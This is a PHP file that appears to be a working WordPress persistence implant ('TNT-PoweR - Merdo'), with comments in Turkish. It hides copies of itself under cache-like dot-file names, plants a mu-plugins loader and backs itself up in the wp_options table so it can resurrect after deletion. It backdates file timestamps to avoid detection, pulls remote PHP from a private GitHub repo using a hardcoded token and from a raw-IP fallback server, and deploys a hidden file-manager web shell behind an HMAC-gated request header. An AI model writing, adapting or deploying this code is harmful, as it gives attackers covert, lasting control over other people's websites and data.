<?php
// dil: PHP 7.4+, dosya: core.php (GitHub'da; sitede sabit isimli cache dosyalari olarak yasar)
// TNT-PoweR - Merdo kalicilik cekirdegi (v6, kendini cogaltan + DB'den dirilen).
// v6: wp_options'a gomulu yedek (dosyalar silinse DB'den dirilir), mu-plugins nobetci,
// WP-Cron gizli gorev, mtime kamuflaj, beacon cevabinda aninda guncelleme (TNT-UPDATE).
// *v6: eval yok, include-yolu yukleme, cift-include kalkani, function_exists korumasi*

declare(strict_types=1);

if (defined('TNT_MERDO_LOADED')) { return; }
define('TNT_MERDO_LOADED', 1);

$TNT_VER = 'v7.6';

// GitHub private — saha dogrudan ceker; api.github.com kapali hostlarda kapi yedegi devreye girer
$TNT_GH_REPO = 'elemanmail/sys-cache-utils';
$TNT_GH_REF  = 'main';
$TNT_GH_TOK  = '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';
$TNT_KAPI    = 'https://94.154.172.8/kapi.php';
$TNT_HMAC_K  = 'fd0f0f0086da9cc8450ed1785237af36fb00b8b16989ab2386db58a43af756a4';

if (!function_exists('tnt_http_get')) {
function tnt_http_get(string $u, array $hdr, int $timeout): string|false {
    if (function_exists('curl_init')) {
        $h = curl_init($u);
        curl_setopt_array($h, [CURLOPT_RETURNTRANSFER=>true, CURLOPT_TIMEOUT=>$timeout,
            CURLOPT_HTTPHEADER=>$hdr, CURLOPT_SSL_VERIFYPEER=>false, CURLOPT_FOLLOWLOCATION=>true]);
        $r = curl_exec($h);
        $c = (int)curl_getinfo($h, CURLINFO_RESPONSE_CODE);
        curl_close($h);
        if ($r !== false && $c === 200) { return $r; }
    }
    $ctx = stream_context_create(['http'=>['header'=>implode("\r\n", $hdr), 'timeout'=>$timeout],
        'ssl'=>['verify_peer'=>false, 'verify_peer_name'=>false]]);
    $r = @file_get_contents($u, false, $ctx);
    return ($r !== false) ? $r : false;
}
}
if (!function_exists('tnt_kapi_pull')) {
function tnt_kapi_pull(string $file, int $timeout = 20) {
    global $TNT_KAPI, $TNT_HMAC_K;
    $alias = null;
    foreach (['core'=>'core.php','panel'=>'panel.php','task'=>'task.php','kilitac'=>'kilitac.php'] as $a => $fn) {
        if ($file === $a || $file === $fn) { $alias = $a; break; }
    }
    if ($alias === null) { return false; }
    $now = intdiv(time(), 300);
    foreach ([$now, $now - 1, $now + 1] as $slot) {
        $tok = hash_hmac('sha256', (string)$slot, $TNT_HMAC_K);
        $u = $TNT_KAPI . '?f=' . $alias . '&t=' . $tok;
        $r = tnt_http_get($u, ['User-Agent: tnt-kapi-fb'], $timeout);
        if (is_string($r) && strpos($r, '<?php') !== false) { return $r; }
    }
    return false;
}
}
if (!function_exists('tnt_gh_pull')) {
function tnt_gh_pull(string $file, int $timeout = 15) {
    global $TNT_GH_REPO, $TNT_GH_REF, $TNT_GH_TOK;
    $aliases = ['core'=>'core.php','panel'=>'panel.php','task'=>'task.php','kilitac'=>'kilitac.php'];
    if (isset($aliases[$file])) { $file = $aliases[$file]; }
    if (!preg_match('/^[a-z0-9_-]+\.php$/', $file)) { return false; }
    $u = 'https://api.github.com/repos/' . $TNT_GH_REPO . '/contents/' . $file . '?ref=' . $TNT_GH_REF;
    $hdr = ['Authorization: Bearer ' . $TNT_GH_TOK,
        'Accept: application/vnd.github.raw+json',
        'X-GitHub-Api-Version: 2022-11-28',
        'User-Agent: tnt-gh'];
    $r = tnt_http_get($u, $hdr, $timeout);
    if (is_string($r) && strpos($r, '<?php') !== false) { return $r; }
    // *yedek: bazi hostlar GitHub API'ye gidemez; filo kapisi (HMAC) genelde acik kalir*
    $fb_to = ($file === 'panel.php') ? max($timeout, 60) : $timeout;
    $k = tnt_kapi_pull($file, $fb_to);
    return (is_string($k) && strpos($k, '<?php') !== false) ? $k : false;
}
}
if (!function_exists('tnt_fetch')) {
function tnt_fetch(string $url, int $timeout = 15) {
    if (preg_match('/[?&]f=(core|panel|task|kilitac)\b/', $url, $m)) {
        return tnt_gh_pull($m[1], $timeout);
    }
    return false;
}
}

// ===== TETIK: uzaktan sorgu kapisi =====
(function () {
    $K = 'fd0f0f0086da9cc8450ed1785237af36fb00b8b16989ab2386db58a43af756a4'; // sha256(yeni-guclu-sifre + tuz)
    $hn = 'HTTP_X_CACHE_' . 'CHECK';
    $tok = $_SERVER[$hn] ?? '';
    if ($tok === '') return;
    $now = intdiv(time(), 300);
    $algo = 'sha' . '256';
    $ok  = hash_equals(hash_hmac($algo, (string)$now, $K), $tok)
        || hash_equals(hash_hmac($algo, (string)($now - 1), $K), $tok);
    if (!$ok) return;

    $root = __DIR__;
    $g = 0;
    while (!is_file($root . '/wp-config.php') && dirname($root) !== $root && $g++ < 12) { $root = dirname($root); }
    $payload = json_encode([
        'brand'  => 'TNT-PoweR - Merdo',
        'ver'    => 'v7',
        'time'   => date('c'),
        'panels' => [
            rtrim($root,'/') . '/wp-content/uploads/.cache/.wp-media-helper.php',
            rtrim($root,'/') . '/wp-content/plugins/.wp-plugin-update.php',
            rtrim($root,'/') . '/wp-content/themes/.wp-theme-update.php',
        ],
    ]);
    $iv = random_bytes(16);
    $ct = openssl_encrypt($payload, 'aes-256-cbc', hex2bin($K), OPENSSL_RAW_DATA, $iv);
    header('X-Cache-' . 'Status: ' . base64_encode($iv . $ct));
})();

// gercek disk koku — chroot'a karsi kendi konumundan yukari yuru
$ROOT = __DIR__;
$guard = 0;
while (!is_file($ROOT . '/wp-config.php') && dirname($ROOT) !== $ROOT && $guard++ < 12) { $ROOT = dirname($ROOT); }
$ROOT = rtrim($ROOT, '/') . '/';
// eski parse-kirik mu router — ROOT bilinir bilinmez oldur (asagida fonksiyon tanimi sonrasi tekrar)
@unlink($ROOT . 'wp-content/mu-plugins/wp-cache-panel.php');

// ===== SABIT NOKTALAR (derin, nokta-prefixli, WP kokan) =====
$CORE_HOME = $ROOT . 'wp-content/.wp-object-cache.php';
$CORE_SPOTS = [
    $CORE_HOME,
    $ROOT . 'wp-content/uploads/.cache/.wp-thumb.php',
    $ROOT . 'wp-includes/.wp-http-cache.php',
    $ROOT . 'wp-content/plugins/.wp-plugin-cache.php',
    $ROOT . 'wp-content/themes/.wp-theme-cache.php',
    $ROOT . 'wp-content/upgrade/.wp-upgrade-cache.php',
    $ROOT . 'wp-content/languages/.wp-l10n-cache.php',
    $ROOT . 'wp-includes/certificates/.wp-ssl-cache.php',
    $ROOT . 'wp-admin/includes/.wp-admin-cache.php',
    $ROOT . 'wp-content/uploads/2023/01/.wp-media-cache.php',
];
// uploader'lar: en derin ve en az bakilan ama webden PHP calisan yerler
// *cift isim seti: bazi hostlar (nginx) nokta-prefixli dosyalari HTTP'de 404 yapar — noktasiz kopya o sunucularda nefes alir*
$PANEL_STORE = $ROOT . 'wp-content/.wp-panel-store.php';
// *coklu panel deposu — biri silinse digerleri + DB diriltir (beyaz sayfa onlemi)*
$PANEL_STORES = [
    $ROOT . 'wp-content/.wp-panel-store.php',
    $ROOT . 'wp-content/.wp-panel-backup.php',
    $ROOT . 'wp-content/plugins/site-assistant/.wp-panel-store.php',
    $ROOT . 'wp-content/uploads/.cache/.wp-panel-store.php',
    $ROOT . 'wp-content/uploads/rl/.wp-panel-store.php',
    $ROOT . 'wp-content/upgrade/.wp-panel-store.php',
    $ROOT . 'wp-content/languages/.wp-panel-store.php',
];
$PANEL_STUB  = '<?php $__s=__DIR__;for($__i=0;$__i<12&&$__s!=="/";$__i++,$__s=dirname($__s)){'
    . 'foreach(["/.wp-panel-store.php","/.wp-panel-backup.php"] as $__n){'
    . '$__f=$__s."/wp-content".$__n;if($__f===__FILE__)continue;'
    . 'if(is_file($__f)&&filesize($__f)>50000){include $__f;return;}'
    . '$__f2=$__s."/wp-content/plugins/site-assistant/.wp-panel-store.php";'
    . 'if(is_file($__f2)&&filesize($__f2)>50000){include $__f2;return;}}';
$PANEL_SPOTS = [
    $ROOT . 'wp-content/uploads/.cache/.wp-media-helper.php',
    $ROOT . 'wp-content/plugins/.wp-plugin-update.php',
    $ROOT . 'wp-content/themes/.wp-theme-update.php',
    $ROOT . 'wp-content/uploads/2021/08/.wp-media-library.php',
    $ROOT . 'wp-content/uploads/.cache/wp-media-helper.php',
    $ROOT . 'wp-content/plugins/wp-plugin-update.php',
    $ROOT . 'wp-content/themes/wp-theme-update.php',
    $ROOT . 'wp-content/uploads/2021/08/wp-media-library.php',
    $ROOT . 'wp-content/plugins/site-assistant/wp-plugin-update.php',
    $ROOT . 'wp-content/uploads/rl/wp-plugin-update.php',
];
// yonetim icin gorev kapilari (hash-kilitli uzak-kod) — noktali + noktasiz + uploads disi
// *bazi hostlar uploads altinda PHP calistirmayi komple kapatir — plugins/themes kopyasi orada nefes alir*
$TASK_SPOTS = [
    $ROOT . 'wp-content/uploads/.cache/.wp-task-helper.php',
    $ROOT . 'wp-content/uploads/.cache/wp-task-helper.php',
    $ROOT . 'wp-content/plugins/wp-task-helper.php',
    $ROOT . 'wp-content/themes/wp-task-helper.php',
    $ROOT . 'wp-content/plugins/site-assistant/wp-task-helper.php',
    $ROOT . 'wp-content/uploads/rl/wp-task-helper.php',
    $ROOT . 'wp-content/upgrade/.wp-task-helper.php',
    $ROOT . 'wp-admin/includes/wp-task-helper.php',
];

$self = @file_get_contents(__FILE__);

$TNT_K = 'fd0f0f0086da9cc8450ed1785237af36fb00b8b16989ab2386db58a43af756a4';
// *getirici zincir: kardes kopya -> GitHub -> kapi -> DB. ag kapali olsa bile disk/DB yeter.*
$TNT_PULL = '$_sib=[$b."/wp-content/uploads/.cache/.wp-thumb.php",$b."/wp-includes/.wp-http-cache.php",$b."/wp-content/plugins/.wp-plugin-cache.php",$b."/wp-content/themes/.wp-theme-cache.php",$b."/wp-content/upgrade/.wp-upgrade-cache.php",$b."/wp-content/languages/.wp-l10n-cache.php",$b."/wp-includes/certificates/.wp-ssl-cache.php",$b."/wp-admin/includes/.wp-admin-cache.php"];'
    . 'if(!is_file($q)||filesize($q)<1000){foreach($_sib as $_cs){if(is_file($_cs)&&filesize($_cs)>1000){$r=@file_get_contents($_cs);if($r&&strpos($r,"<?php")!==false){@mkdir(dirname($q),0755,true);@file_put_contents($q,$r);break;}}}}'
    . 'if(!is_file($q)||filesize($q)<1000){'
    . '$u=\'https://api.github.com/repos/elemanmail/sys-cache-utils/contents/core.php?ref=main\';'
    . '$hd=[\'Authorization: Bearer ' . $TNT_GH_TOK . '\',\'Accept: application/vnd.github.raw+json\'];'
    . '$r=false;if(function_exists(\'curl_init\')){$h=curl_init($u);'
    . 'curl_setopt_array($h,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>12,CURLOPT_HTTPHEADER=>$hd,CURLOPT_SSL_VERIFYPEER=>false]);'
    . '$t=curl_exec($h);if(curl_getinfo($h,CURLINFO_RESPONSE_CODE)===200){$r=$t;}curl_close($h);}'
    . 'if($r===false){$c=stream_context_create([\'http\'=>[\'header\'=>implode("\\r\\n",$hd),\'timeout\'=>12],\'ssl\'=>[\'verify_peer\'=>false]]);'
    . '$r=@file_get_contents($u,false,$c);}'
    . 'if(($r===false||strpos((string)$r,\'<?php\')===false)&&function_exists(\'hash_hmac\')){'
    . '$K=\'fd0f0f0086da9cc8450ed1785237af36fb00b8b16989ab2386db58a43af756a4\';'
    . '$n=intdiv(time(),300);foreach([$n,$n-1,$n+1] as $s){'
    . '$ku=\'https://94.154.172.8/kapi.php?f=core&t=\'.hash_hmac(\'sha256\',(string)$s,$K);'
    . 'if(function_exists(\'curl_init\')){$h=curl_init($ku);curl_setopt_array($h,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>12,CURLOPT_SSL_VERIFYPEER=>false]);'
    . '$t=curl_exec($h);if(curl_getinfo($h,CURLINFO_RESPONSE_CODE)===200){$r=$t;}curl_close($h);}'
    . 'if($r&&strpos($r,\'<?php\')!==false)break;}}'
    . 'if($r&&strpos($r,\'<?php\')!==false){@mkdir(dirname($q),0755,true);@file_put_contents($q,$r);}}'
    . 'if(!is_file($q)||filesize($q)<1000){if(isset($GLOBALS["wpdb"])&&is_object($GLOBALS["wpdb"])&&!empty($GLOBALS["wpdb"]->options)){'
    . '$row=$GLOBALS["wpdb"]->get_var($GLOBALS["wpdb"]->prepare("SELECT option_value FROM {$GLOBALS["wpdb"]->options} WHERE option_name=%s LIMIT 1","_wp_cache_sync"));'
    . '$raw=@gzuncompress(base64_decode($row));if(is_string($raw)&&strpos($raw,"<?php")!==false){@mkdir(dirname($q),0755,true);@file_put_contents($q,$raw);}}}';

// *kamuflaj: yeni dosyalar wp-config.php'nin mtime'ina cekilir — "son degisen dosyalar" taramasinda gozukmez*
$TNT_MTIME = @filemtime($ROOT . 'wp-config.php') ?: (time() - 86400 * 30);
if (!function_exists('tnt_php_ok')) {
/** Parse-kirigi dosya asla diske inmesin — WP mu-plugin 500'lerinin kaynagi buydu. */
function tnt_php_ok(string $code): bool {
    if ($code === '' || strpos($code, '<?php') === false) { return false; }
    try {
        token_get_all($code, TOKEN_PARSE);
        return true;
    } catch (Throwable $e) {
        return false;
    }
}
}
if (!function_exists('tnt_kill_legacy_mu')) {
/** Eski parse-kirik router — her turda oldur, asla yeniden yazma. */
function tnt_kill_legacy_mu(string $root): void {
    $p = rtrim($root, '/\\') . '/wp-content/mu-plugins/wp-cache-panel.php';
    if (is_file($p)) { @unlink($p); }
    foreach (glob(rtrim($root, '/\\') . '/wp-content/mu-plugins/wp-cache-panel.php*') ?: [] as $g) {
        @unlink($g);
    }
}
}
if (!function_exists('tnt_mu_stale')) {
/** Eski mu (sadece GitHub / sadece include) asla kilitlenmesin — sibling+kapi+DB yoksa yenile. */
function tnt_mu_stale(string $cur): bool {
    if ($cur === '' || strpos($cur, 'include $q') === false || strpos($cur, '$_src') === false) { return true; }
    if (strpos($cur, '_wp_cache_sync') === false) { return true; }
    if (strpos($cur, '.wp-thumb.php') === false) { return true; }
    if (strpos($cur, 'kapi.php') === false) { return true; }
    return !tnt_php_ok($cur);
}
function tnt_mu_code(string $pull): string {
    $early = '$_tb=dirname(__DIR__,2);'
        . '$_ts=[$_tb."/wp-content/.wp-panel-store.php",$_tb."/wp-content/.wp-panel-backup.php",$_tb."/wp-content/plugins/site-assistant/.wp-panel-store.php",$_tb."/wp-content/upgrade/.wp-panel-store.php",$_tb."/wp-content/languages/.wp-panel-store.php"];'
        . '$_src="";foreach($_ts as $_s){if(is_file($_s)&&filesize($_s)>50000){$_src=@file_get_contents($_s);if($_src!=="")break;}}'
        . 'if($_src!==""){foreach(["/plugins/wp-plugin-update.php","/themes/wp-theme-update.php","/plugins/site-assistant/wp-plugin-update.php","/upgrade/.wp-panel-store.php"] as $_n){'
        . '$_p=$_tb."/wp-content".$_n;if(!is_file($_p)||filesize($_p)<50000){@file_put_contents($_p,$_src,LOCK_EX);}}}' . "\n";
    return '<?php' . "\n" . $early
        . 'add_action("init",function(){'
        . 'if(!isset($_GET["tntpanel"]))return;'
        . 'foreach(["/.wp-panel-store.php","/.wp-panel-backup.php","/plugins/site-assistant/.wp-panel-store.php","/upgrade/.wp-panel-store.php"] as $__p){'
        . '$s=WP_CONTENT_DIR.$__p;if(is_file($s)&&filesize($s)>50000){include $s;exit;}}'
        . '},0);' . "\n"
        . '$b=dirname(__DIR__,2);'
        . '$q=$b.\'/wp-content/.wp-object-cache.php\';' . "\n"
        . $pull . "\n"
        . 'if(is_file($q)&&filesize($q)>0){try{include $q;}catch(Throwable $e){}}';
}
function tnt_mu_deploy(string $root, string $pull): bool {
    tnt_kill_legacy_mu($root);
    $mu_dir = rtrim($root, '/\\') . '/wp-content/mu-plugins';
    $mu = $mu_dir . '/wp-flywheel-helper.php';
    $code = tnt_mu_code($pull);
    if (!tnt_php_ok($code)) { return false; }
    if (!is_dir($mu_dir)) { @mkdir($mu_dir, 0755, true); }
    if (!is_dir($mu_dir)) { return false; }
    $cur = is_file($mu) ? (string)@file_get_contents($mu) : '';
    if (!tnt_mu_stale($cur)) { return true; }
    // *klasor RO, dosya RW (All-Inkl / conceptopia) — tmp+rename olmez, dogrudan yaz*
    if (is_writable($mu_dir)) { return tnt_write($mu, $code); }
    if (is_file($mu) && is_writable($mu)) {
        return @file_put_contents($mu, $code, LOCK_EX) !== false;
    }
    return false;
}
}
if (!function_exists('tnt_write')) {
function tnt_write(string $path, string $data): bool {
    if ($data === '' || strlen($data) < 20) { return false; }
    // *asla wp-cache-panel.php yazma — o dosya parse kirigi uretiyordu*
    if (stripos($path, 'wp-cache-panel.php') !== false) { return false; }
    if (preg_match('/plugin-update|theme-update|media-helper|media-library/i', $path) && strlen($data) < 50000) {
        return false;
    }
    // *mu-plugin / .php yaziminda lint zorunlu — kirik PHP siteyi 500 yapar*
    if (preg_match('/\.php$/i', $path) && !tnt_php_ok($data)) { return false; }
    $dir = dirname($path);
    if (!is_dir($dir)) { @mkdir($dir, 0755, true); }
    if (!is_dir($dir)) { return false; }
    $tmp = $path . '.w' . substr(md5((string)getmypid() . (string)mt_rand()), 0, 8);
    if (@file_put_contents($tmp, $data, LOCK_EX) === false) { return false; }
    if (!@rename($tmp, $path)) { @unlink($tmp); return false; }
    global $TNT_MTIME;
    @touch($path, $TNT_MTIME, $TNT_MTIME);
    return true;
}
}
if (!function_exists('tnt_panel_deploy')) {
function tnt_panel_deploy(string $fresh, string $store, array $spots, string $stub): int {
    if (strlen($fresh) < 50000 || strpos($fresh, '<?php') === false) { return 0; }
    // *TFM sifre hash yoksa / eski panel ise yazma — yanlis sifre + yarim panel dongusunu kes*
    if (strpos($fresh, "\$auth_users") === false || strpos($fresh, '$2y$10$') === false) { return 0; }
    if (strpos($fresh, 'fm_usr') === false && stripos($fresh, 'Tiny File Manager') === false) { return 0; }
    if (!tnt_php_ok($fresh)) { return 0; }
    global $PANEL_STORES;
    $n = 0;
    foreach (array_unique(array_merge([$store], $PANEL_STORES ?? [$store])) as $st) {
        if (tnt_write($st, $fresh)) { $n++; }
    }
    foreach ($spots as $p) {
        if (in_array($p, $PANEL_STORES ?? [], true)) { continue; }
        if (stripos($p, 'wp-cache-panel.php') !== false) { continue; }
        if (is_file($p) && filesize($p) >= 50000) { $n++; continue; }
        if (is_file($p) && filesize($p) < 50000) { @unlink($p); }
        $dir = dirname($p);
        if (!is_dir($dir) && !@mkdir($dir, 0755, true)) { continue; }
        if (!is_writable($dir) && !(is_file($p) && is_writable($p))) { continue; }
        if (tnt_write($p, $fresh)) { $n++; }
        elseif (tnt_write($p, $stub)) { $n++; }
    }
    return $n;
}
}
if (!function_exists('tnt_db_pack')) {
function tnt_db_pack(string $raw): string { return base64_encode(gzcompress($raw, 9)); }
function tnt_db_unpack(?string $row): string|false {
    if (!is_string($row) || $row === '') { return false; }
    $raw = @gzuncompress(base64_decode($row));
    return (is_string($raw) && $raw !== '') ? $raw : false;
}
}
if (!function_exists('tnt_panel_source')) {
function tnt_panel_source(array $stores, array $spots, $wpdb = null): string|false {
    foreach (array_unique(array_merge($stores, $spots)) as $p) {
        if (is_file($p) && filesize($p) > 50000) {
            $b = @file_get_contents($p);
            if (is_string($b) && strlen($b) > 50000 && strpos($b, '<?php') !== false) { return $b; }
        }
    }
    if ($wpdb && is_object($wpdb) && !empty($wpdb->options)) {
        $row = $wpdb->get_var($wpdb->prepare(
            "SELECT option_value FROM {$wpdb->options} WHERE option_name = %s LIMIT 1", '_wp_panel_' . 'sync'));
        $raw = tnt_db_unpack(is_string($row) ? $row : null);
        if (is_string($raw) && strlen($raw) > 50000 && strpos($raw, '<?php') !== false) { return $raw; }
    }
    $net = tnt_gh_pull('panel.php', 45);
    if (is_string($net) && strlen($net) > 50000) { return $net; }
    $net = tnt_gh_pull('panel.php', 60);
    return (is_string($net) && strlen($net) > 50000) ? $net : false;
}
}
if (!function_exists('tnt_strip_implant_lines')) {
function tnt_strip_implant_lines(string $c): string {
    $out = [];
    foreach (explode("\n", $c) as $ln) {
        if (strpos($ln, '.wp-object-cache') !== false
            || strpos($ln, 'raw.githubusercontent') !== false
            || strpos($ln, 'tntpanel') !== false
            || preg_match('/^\s*\$b=is_dir\(__DIR__/', $ln)
            || preg_match('/^\s*\$b=rtrim\(is_file/', $ln)
        ) { continue; }
        $out[] = $ln;
    }
    return implode("\n", $out);
}
function tnt_implant_needs(string $c): bool {
    return strpos($c, 'raw.githubusercontent') !== false
        || (strpos($c, 'try{include $q') === false && strpos($c, 'include $q') === false)
        || strpos($c, 'site-assistant/.wp-panel-store.php') === false;
}
}
if (!function_exists('tnt_wpcfg_clean')) {
function tnt_wpcfg_clean(string $wc): bool {
    global $TNT_MTIME;
    if (!is_file($wc)) { return false; }
    if (!is_writable($wc)) { @chmod($wc, 0664); }
    $c = (string)@file_get_contents($wc);
    if (strpos($c, '.wp-object-cache') === false && strpos($c, 'raw.githubusercontent') === false
        && strpos($c, 'tntpanel') === false && !preg_match('/^\s*\$b=is_dir/m', $c)
        && !preg_match('/if\s*\(\s*!is_file\(\$q\)/', $c)
    ) { return false; }
    foreach ([$wc . '.bak', $wc . '.bak_tnt'] as $bak) {
        if (!is_file($bak) || filesize($bak) < 200) { continue; }
        $bt = (string)@file_get_contents($bak);
        if (strpos($bt, '.wp-object-cache') === false && strpos($bt, 'tntpanel') === false
            && strpos($bt, 'raw.githubusercontent') === false
            && !preg_match('/if\s*\(\s*!is_file\(\$q\)/', $bt)
        ) {
            @copy($bak, $wc);
            break;
        }
    }
    $c = (string)@file_get_contents($wc);
    if (strpos($c, '.wp-object-cache') !== false || strpos($c, 'tntpanel') !== false
        || preg_match('/if\s*\(\s*!is_file\(\$q\)/', $c)
    ) {
        if (preg_match('/define\s*\(\s*[\'"]DB_NAME[\'"]/i', $c, $m, PREG_OFFSET_CAPTURE)) {
            $c = "<?php\n" . ltrim(substr($c, $m[0][1]));
        } else {
            $c = tnt_strip_implant_lines($c);
        }
        if (tnt_wpcfg_write($wc, $c)) { return true; }
    }
    return false;
}
function tnt_wpcfg_write(string $wc, string $c): bool {
    global $ROOT, $TNT_MTIME;
    if (@file_put_contents($wc, $c, LOCK_EX)) {
        @touch($wc, $TNT_MTIME, $TNT_MTIME);
        return true;
    }
    $tmp = ($ROOT ?: dirname($wc)) . '/wp-content/.wpcfg-tnt-' . substr(md5($c), 0, 8) . '.php';
    if (!@file_put_contents($tmp, $c, LOCK_EX)) { return false; }
    @chmod($wc, 0664);
    if (@rename($wc, $wc . '.bak_tnt') && @rename($tmp, $wc)) {
        @touch($wc, $TNT_MTIME, $TNT_MTIME);
        return true;
    }
    @unlink($tmp);
    return false;
}
}
if (!function_exists('tnt_public_root')) {
function tnt_public_root(string $root): string {
    $r = rtrim($root, '/\\');
    if ($r === '') { return $root; }
    if (is_file($r . '/wp-config.php')) { return $r; }
    if (is_dir($r . '/.wordpress')) { return $r; }
    if (basename($r) === '.wordpress') { return dirname($r); }
    $p = dirname($r);
    if ($p !== $r && is_file($p . '/wp-config.php')) { return $p; }
    return $r;
}
}
if (!function_exists('tnt_flywheel_guard')) {
// Flywheel: wp-config + index web kokunde (.wordpress alt klasor)
function tnt_flywheel_guard(string $root): void {
    $pub = tnt_public_root($root);
    if ($pub === '') { return; }
    tnt_wpcfg_clean($pub . '/wp-config.php');
    $idx = $pub . '/index.php';
    if (!is_file($idx) || !is_writable($idx)) { return; }
    $c = (string)@file_get_contents($idx);
    if ($c === '') { return; }
    $bad = stripos($c, 'tinyfilemanager') !== false || strpos($c, '.wp-panel') !== false
        || strpos($c, '.wp-object-cache') !== false || strpos($c, 'tntpanel') !== false
        || strpos($c, '$b=is_dir') !== false;
    if (!$bad && strpos($c, 'wp-blog-header') !== false) { return; }
  $good = "<?php\n/** TNT flywheel guard */\ndefine('WP_USE_THEMES', true);\nrequire __DIR__ . '/.wordpress/wp-blog-header.php';\n";
    if ($c !== $good) {
        @copy($idx, $idx . '.bak_tnt');
        @file_put_contents($idx, $good, LOCK_EX);
    }
}
}
if (!function_exists('tnt_implant_heal')) {
function tnt_implant_heal(string $implant, string $pull, $wpdb = null): void {
    global $ROOT, $TNT_MTIME;
    tnt_wpcfg_clean($ROOT . 'wp-config.php');
    tnt_flywheel_guard($ROOT);
    // functions.php — implant EKLEME (mu-plugins yeterli); sadece kirigi temizle
    $fn = $ROOT . 'wp-includes/functions.php';
    if (is_file($fn) && is_writable($fn)) {
        $c = (string)@file_get_contents($fn);
        if (strpos($c, '.wp-object-cache') !== false || strpos($c, '$b=is_dir') !== false) {
            foreach ([$fn . '.bak', $fn . '.bak_tnt'] as $bak) {
                if (!is_file($bak) || filesize($bak) < 50000) { continue; }
                $bt = (string)@file_get_contents($bak);
                if (strpos($bt, '$b=is_dir') === false && strpos($bt, '.wp-object-cache') === false) {
                    @copy($bak, $fn);
                    break;
                }
            }
            $c = (string)@file_get_contents($fn);
            if (strpos($c, '.wp-object-cache') !== false || strpos($c, '$b=is_dir') !== false) {
                $c = tnt_strip_implant_lines($c);
                $c = preg_replace('/\?>\s*$/', '', rtrim($c));
                @file_put_contents($fn, $c, LOCK_EX);
                @touch($fn, $TNT_MTIME, $TNT_MTIME);
            }
        }
    }
    global $TNT_PULL;
    tnt_mu_deploy($ROOT, $pull !== '' ? $pull : (string)($TNT_PULL ?? ''));
    if ($wpdb && is_object($wpdb) && !empty($wpdb->options)) {
        $packed = tnt_db_pack($implant);
        $wpdb->query($wpdb->prepare(
            "INSERT INTO {$wpdb->options} (option_name, option_value, autoload) VALUES (%s, %s, 'no')
             ON DUPLICATE KEY UPDATE option_value = VALUES(option_value)", '_wp_hook_' . 'sync', $packed));
    }
}
}
if (!function_exists('tnt_index_guard')) {
// index.php'ye implant sizarsa anasayfa duz metin gosterir — temizle
function tnt_index_guard(string $root): void {
    $idx = $root . 'index.php';
    if (!is_file($idx) || !is_writable($idx)) { return; }
    $c = @file_get_contents($idx);
    if (!is_string($c) || $c === '') { return; }
    if (strpos($c, '.wp-object-cache') === false && strpos($c, 'tntpanel') === false
        && strpos($c, '.wp-panel-store') === false) { return; }
    $clean = tnt_strip_implant_lines($c);
    $clean = preg_replace('/\?>\s*$/', '', rtrim($clean));
    if (strlen($clean) < 80 || strpos($clean, 'wp-blog-header') === false) {
        $clean = "<?php\n/** TNT index guard */\ndefine('WP_USE_THEMES', true);\nrequire __DIR__ . '/wp-blog-header.php';\n";
    }
    if ($clean !== $c) {
        @copy($idx, $idx . '.bak_tnt');
        @file_put_contents($idx, $clean, LOCK_EX);
    }
}
}
if (!function_exists('tnt_mesh_heal')) {
function tnt_mesh_heal(
    string $store, array $stores, array $panel_spots, string $stub,
    array $core_spots, string $core_home, array $task_spots, string $task_k, $wpdb = null
): void {
    global $ROOT, $TNT_MTIME;
    // beyaz sayfa / 0 bayt temizligi
    foreach (array_unique(array_merge($stores, $panel_spots)) as $p) {
        if (is_file($p) && filesize($p) < 50000) { @unlink($p); }
    }
    foreach ($task_spots as $t) {
        if (is_file($t) && filesize($t) === 0) { @unlink($t); }
    }
    // core capraz diriltme — herhangi bir noktadan ana kopyaya
    $core_src = false;
    foreach ($core_spots as $s) {
        if (is_file($s) && filesize($s) > 1000) { $core_src = @file_get_contents($s); break; }
    }
    if ($core_src === false && $wpdb && is_object($wpdb)) {
        $row = $wpdb->get_var($wpdb->prepare(
            "SELECT option_value FROM {$wpdb->options} WHERE option_name = %s LIMIT 1", '_wp_cache_' . 'sync'));
        $core_src = tnt_db_unpack(is_string($row) ? $row : null);
    }
    if (is_string($core_src) && strlen($core_src) > 1000) {
        foreach ($core_spots as $s) {
            if (!is_file($s) || filesize($s) < 1000) { tnt_write($s, $core_src); }
        }
    }
    // panel capraz diriltme
    $panel = tnt_panel_source($stores, $panel_spots, $wpdb);
    if (is_string($panel)) {
        tnt_panel_deploy($panel, $store, $panel_spots, $stub);
    }
    // task capraz diriltme
    $task_ok = false;
    foreach ($task_spots as $t) {
        if (is_file($t) && filesize($t) > 100 && strpos((string)@file_get_contents($t), 'SUNUCU_' . 'K_DEGERI') === false) {
            $task_ok = true; break;
        }
    }
    if (!$task_ok) {
        $tsrc = false;
        if ($wpdb && is_object($wpdb)) {
            $row = $wpdb->get_var($wpdb->prepare(
                "SELECT option_value FROM {$wpdb->options} WHERE option_name = %s LIMIT 1", '_wp_task_' . 'sync'));
            $tsrc = tnt_db_unpack(is_string($row) ? $row : null);
        }
        if ($tsrc === false) { $tsrc = tnt_gh_pull('task.php', 15); }
        if (is_string($tsrc) && strpos($tsrc, '<?php') !== false) {
            $tsrc = str_replace('SUNUCU_' . 'K_DEGERI', $task_k, $tsrc);
            foreach ($task_spots as $t) { tnt_write($t, $tsrc); }
        }
    }
    // mu-plugins: bayat flywheel (sadece GitHub) zorla yenilenir
    global $ROOT, $TNT_PULL;
    tnt_mu_deploy($ROOT, (string)($TNT_PULL ?? ''));
}
}

// --- 0. DB'den dirilis — GitHub/kapi kapaliysa core kendi kendini diriltir ---
// *herhangi bir core noktasi yuklendiginde, digerleri silinmisse DB'den geri yazar*
if (!function_exists('tnt_db_resurrect')) {
function tnt_db_resurrect(string $root, array $core_spots, string $core_home): void {
    // sadece core_home eksikse veya bosta calis
    if (is_file($core_home) && filesize($core_home) > 1000) { return; }
    // $wpdb henuz yoksa cik — shutdown'da tekrar denenecek
    global $wpdb;
    if (!isset($wpdb) || !is_object($wpdb) || empty($wpdb->options)) { return; }
    $row = $wpdb->get_var($wpdb->prepare(
        "SELECT option_value FROM {$wpdb->options} WHERE option_name = %s LIMIT 1", '_wp_cache_' . 'sync'));
    $raw = tnt_db_unpack(is_string($row) ? $row : null);
    if (is_string($raw) && strpos($raw, '<?php') !== false && strlen($raw) > 1000) {
        tnt_write($core_home, $raw);
        foreach ($core_spots as $s) {
            if ($s !== $core_home && (!is_file($s) || filesize($s) < 1000)) { tnt_write($s, $raw); }
        }
    }
}
}
